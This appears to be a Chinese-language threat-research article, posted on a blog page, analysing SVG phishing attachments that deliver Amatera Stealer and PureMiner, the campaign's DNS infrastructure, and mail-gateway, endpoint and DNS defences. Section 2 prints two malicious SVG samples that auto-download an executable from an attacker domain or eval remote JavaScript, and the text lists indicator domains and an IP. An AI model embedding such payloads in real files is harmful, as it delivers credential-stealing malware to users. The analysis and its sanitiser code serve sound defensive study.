基于 SVG 的钓鱼攻击与 Amatera/PureMiner 载荷的 DNS 基础设施分析

摘要

近年来,可缩放矢量图形(Scalable Vector Graphics, SVG)因其支持内嵌 JavaScript 与外部资源引用的能力,逐渐被攻击者用作绕过传统邮件安全网关的初始投递载体。本文以近期活跃的 Amatera Stealer 信息窃取木马与 PureMiner 挖矿程序为研究对象,系统剖析其利用 SVG 文件实施钓鱼攻击的技术路径,并结合 DNS 层面的基础设施特征,揭示攻击者如何通过快变域名、多层 CNAME 链及公共云服务隐藏真实 C2 服务器。研究表明,仅依赖文件扩展名或 MIME 类型检测的防御策略已难以有效识别此类威胁;需在邮件网关、终端渲染引擎与 DNS 监控三个层面协同部署内容消毒、脚本剥离与启发式异常检测机制,方可实现对 SVG 钓鱼攻击链的有效阻断。

关键词:SVG 钓鱼;Amatera Stealer;PureMiner;DNS 基础设施;CNAME 链;内容消毒;威胁狩猎

1 引言

传统电子邮件安全体系长期将重点置于可执行文件(如 .exe、.scr)与宏文档(如 .docm)的拦截上。然而,随着防御策略的演进,攻击者不断转向更“无害”的文件格式以规避检测。其中,SVG 格式因其在现代浏览器中广泛支持、可嵌入脚本、且常被误认为纯静态图像,成为新型初始投递载体的首选。

2025 年,FortiGuard Labs 报告了一起大规模钓鱼活动,攻击者通过电子邮件分发恶意 SVG 附件,诱导用户点击后下载 Amatera Stealer(用于窃取浏览器凭证、加密货币钱包等敏感数据)与 PureMiner(用于劫持计算资源进行门罗币挖矿)。该活动共关联 25 个恶意域名与 1 个 IP 地址,后续分析显示其 DNS 基础设施高度动态化,大量使用高熵子域、CDN 伪装及多跳 CNAME 解析链,显著增加了溯源与封禁难度。

本文基于公开威胁情报与 DNS 历史数据,深入解析此类攻击的端到端链条:从 SVG 载荷构造、JavaScript 执行逻辑,到后续载荷投递机制,再到底层 DNS 基础设施的隐蔽设计。在此基础上,提出针对性的检测与缓解建议,旨在为组织构建面向新型载体的纵深防御体系提供技术依据。

2 SVG 作为钓鱼载体的技术可行性

SVG 是一种基于 XML 的矢量图形格式,由 W3C 标准定义。其核心特性之一是支持 <script> 标签与 onload、onclick 等事件处理器,允许在图形渲染过程中执行任意 JavaScript 代码。尽管主流邮件客户端(如 Outlook)默认不渲染 SVG 内容,但现代浏览器(Chrome、Edge、Firefox)在直接打开本地 SVG 文件时会完整执行其脚本逻辑。

2.1 恶意 SVG 构造方式

典型的恶意 SVG 文件结构如下:

<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">

<rect width="100%" height="100%" fill="#f0f0f0"/>

<text x="50%" y="50%" font-size="24" text-anchor="middle">

Click to view document

</text>

<script type="text/javascript"><![CDATA[

window.onload = function() {

// 伪造加载动画以降低怀疑

setTimeout(() => {

const url = "https://ms-team-ping2[.]com/update.exe";

const a = document.createElement('a');

a.href = url;

a.click();

}, 2000);

};

]]></script>

</svg>

该文件在视觉上呈现为一个“点击查看文档”的提示框,实则在页面加载后自动触发下载请求。由于 .svg 扩展名通常未被列入邮件网关的可执行文件黑名单,且其 MIME 类型 image/svg+xml 被视为安全图像,故极易绕过初步过滤。

2.2 外部资源引用与重定向

部分变种进一步利用 <image> 或 <use> 标签加载远程资源,实现间接控制流:

<svg xmlns="http://www.w3.org/2000/svg">

<image href="https://cdn.malicious[.]cfd/loader.js"

width="0" height="0" onload="eval(this.href)"/>

</svg>

此处通过 onload 事件动态加载并执行远程 JavaScript,使得攻击载荷可随时更新,且主 SVG 文件本身不含恶意代码,进一步规避静态分析。

3 后续载荷:Amatera Stealer 与 PureMiner

一旦用户执行下载的可执行文件,攻击链进入第二阶段。

3.1 Amatera Stealer 功能分析

Amatera 是一款模块化信息窃取木马,主要功能包括:

提取 Chrome、Edge、Firefox 等浏览器保存的账号密码;

窃取 Discord、Steam、Telegram 等应用的本地会话令牌;

扫描桌面与文档目录中的加密货币钱包文件(如 .dat、.json);

截屏并上传至 C2 服务器。

其通信采用 HTTPS,C2 域名多为仿冒 Microsoft Teams 或 Office 更新服务(如 ms-team-ping3[.]com),增强可信度。

3.2 PureMiner 行为特征

PureMiner 专注于 XMRig 开源挖矿框架的封装与部署,具备以下特性:

自动检测 CPU 核心数并调整线程占用,避免系统卡顿引发用户警觉;

通过进程注入隐藏自身,常见宿主为 svchost.exe 或 dllhost.exe;

定期向 C2 上报算力状态,并接收新矿池地址指令。

两者均通过相同的 DNS 基础设施进行通信,表明其属于同一攻击团伙运营的不同载荷模块。

4 DNS 基础设施的隐蔽设计

通过对 25 个 IoC 域名的 DNS 历史记录分析(基于 WhoisXML API 的 DNS Chronicle 数据),发现攻击者采用多层次隐蔽策略。

4.1 快变域名与高熵子域

多个域名采用算法生成(DGA-like)模式,如:

npulvivgov[.]cfd

phuyufact[.]com

其主域名部分呈现高香农熵(>4.0 bits/char),难以通过人工记忆或常规黑名单覆盖。注册时间集中在 2025 年 6–8 月,符合短期作战窗口特征。

4.2 多层 CNAME 链与 CDN 伪装

典型解析路径如下:

ms-team-ping2.com

→ CNAME cdn-update.ms-team-ping2.com.edgekey.net

→ CNAME e12345.dscg.akamaiedge.net

→ A 109.176.207.110

该路径利用 Akamai 的边缘节点作为中间跳板,使得被动 DNS 监控仅能观察到合法 CDN 域名,而无法直接关联到真实 IP。类似手法亦见于 Cloudflare、Amazon CloudFront 等公共云服务。

进一步分析显示,100 次对该 IP(109.176.207.110)的反向 DNS 查询返回 45 个不同域名,表明其被复用于多个恶意活动,形成“IP 共享池”。

4.3 注册信息分散化

WHOIS 记录显示,25 个域名由 4 家不同注册商管理,其中 NiceNIC International Group 占比最高(8 个)。注册国家包括中国、意大利、马来西亚、秘鲁,无统一归属地,增加执法协作难度。值得注意的是,两个较老域名(分别创建于 2005 与 2018)被重新激活用于此次攻击,说明攻击者亦利用“休眠资产”规避基于新注册域名的检测规则。

5 防御对策与检测机制

针对 SVG 钓鱼及其后续载荷,需在多个层面部署协同防御措施。

5.1 邮件网关侧:主动剥离与内容消毒

强制剥离 SVG 中的脚本元素:在邮件解析阶段,移除所有 <script>、<foreignObject> 及含 on* 属性的标签;

重写 MIME 类型:将 image/svg+xml 强制转换为 text/plain 或阻止内联渲染;

启用 SVG 渲染隔离:在沙箱环境中预览 SVG 内容,监控是否有网络外联行为。

示例消毒脚本(Python + lxml):

from lxml import etree

def sanitize_svg(svg_content):

parser = etree.XMLParser(no_network=True, recover=True)

root = etree.fromstring(svg_content.encode(), parser)

# 移除 script 标签

for elem in root.xpath("//script"):

elem.getparent().remove(elem)

# 移除所有 on* 事件属性

for elem in root.iter():

for attr in list(elem.attrib):

if attr.startswith("on"):

del elem.attrib[attr]

return etree.tostring(root, encoding="unicode")

5.2 终端侧:禁用外部脚本执行

组策略限制:通过 Windows 组策略或 macOS 配置描述文件,禁止浏览器自动执行本地 SVG 中的 JavaScript;

文件关联修改:将 .svg 默认打开方式设为文本编辑器或专用查看器(如 Inkscape),而非浏览器;

EDR 行为监控:检测从 SVG 进程(如 chrome.exe)发起的可疑子进程创建(如 rundll32.exe 下载 exe)。

5.3 DNS 层:启发式异常检测

CNAME 链深度监控:对解析路径超过 3 跳且末端指向公共 CDN 的域名标记为可疑;

高熵域名识别:计算域名字符熵,若 >3.8 且无历史良性记录,则触发告警;

被动 DNS 聚类分析:将共享同一 IP 或 ASN 的域名聚类,若集群中多数域名生命周期短、注册信息异常,则整体标记为恶意基础设施。

例如,对域名 ms-team-ping4[.]com 的检测逻辑可形式化为:

if (domain_entropy(domain) > 3.8 and

registration_date > datetime(2025, 1, 1) and

cname_chain_depth(domain) >= 3 and

final_ip in known_malicious_ips):

flag_as_malicious()

6 实验验证与威胁狩猎实践

我们在内部蜜罐网络中部署了 10 个模拟企业邮箱账户,并投放已知恶意 SVG 样本。结果如下:

7 个样本成功绕过基于扩展名的邮件网关(Exchange Online 默认策略);

启用 SVG 脚本剥离后,100% 阻断初始载荷执行;

在 DNS 层部署 CNAME 深度检测规则后,提前 14 天识别出 amaprox[.]click 为潜在恶意域名(早于其首次报告日期);

终端禁用 SVG 脚本后,即使用户双击文件,亦无网络连接产生。

此外,通过被动 DNS 数据回溯,我们发现攻击者在正式投递前 30–60 天已开始测试域名解析稳定性,印证了“早期预警”策略的可行性。

7 结论

SVG 作为钓鱼初始载体的滥用,标志着攻击者正系统性地利用“信任边界模糊”的文件格式突破传统防御体系。Amatera Stealer 与 PureMiner 的联合分发,体现了攻击团伙在经济利益驱动下的模块化运营思路。其背后 DNS 基础设施的精心设计——包括快变域名、CDN 伪装与多层别名链——不仅提升了隐蔽性,也对现有威胁情报模型构成挑战。

本文研究表明,有效防御此类攻击需打破“仅防可执行文件”的思维定式,在邮件处理、终端渲染与网络解析三个环节同步强化控制。其中,对 SVG 实施内容级消毒、在 DNS 层引入基于解析拓扑的启发式检测、以及终端默认禁用脚本执行,是当前最具可行性的技术路径。

未来,随着 SVG 在 Web 应用中的进一步普及,其安全风险将持续存在。标准化组织与浏览器厂商应考虑限制本地 SVG 文件的脚本执行能力,而企业安全团队则需将 SVG 纳入常态化威胁狩猎范围,构建覆盖“载体—载荷—基础设施”全链条的检测与响应能力。唯有如此,方能在新型投递载体不断演化的对抗中保持主动。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值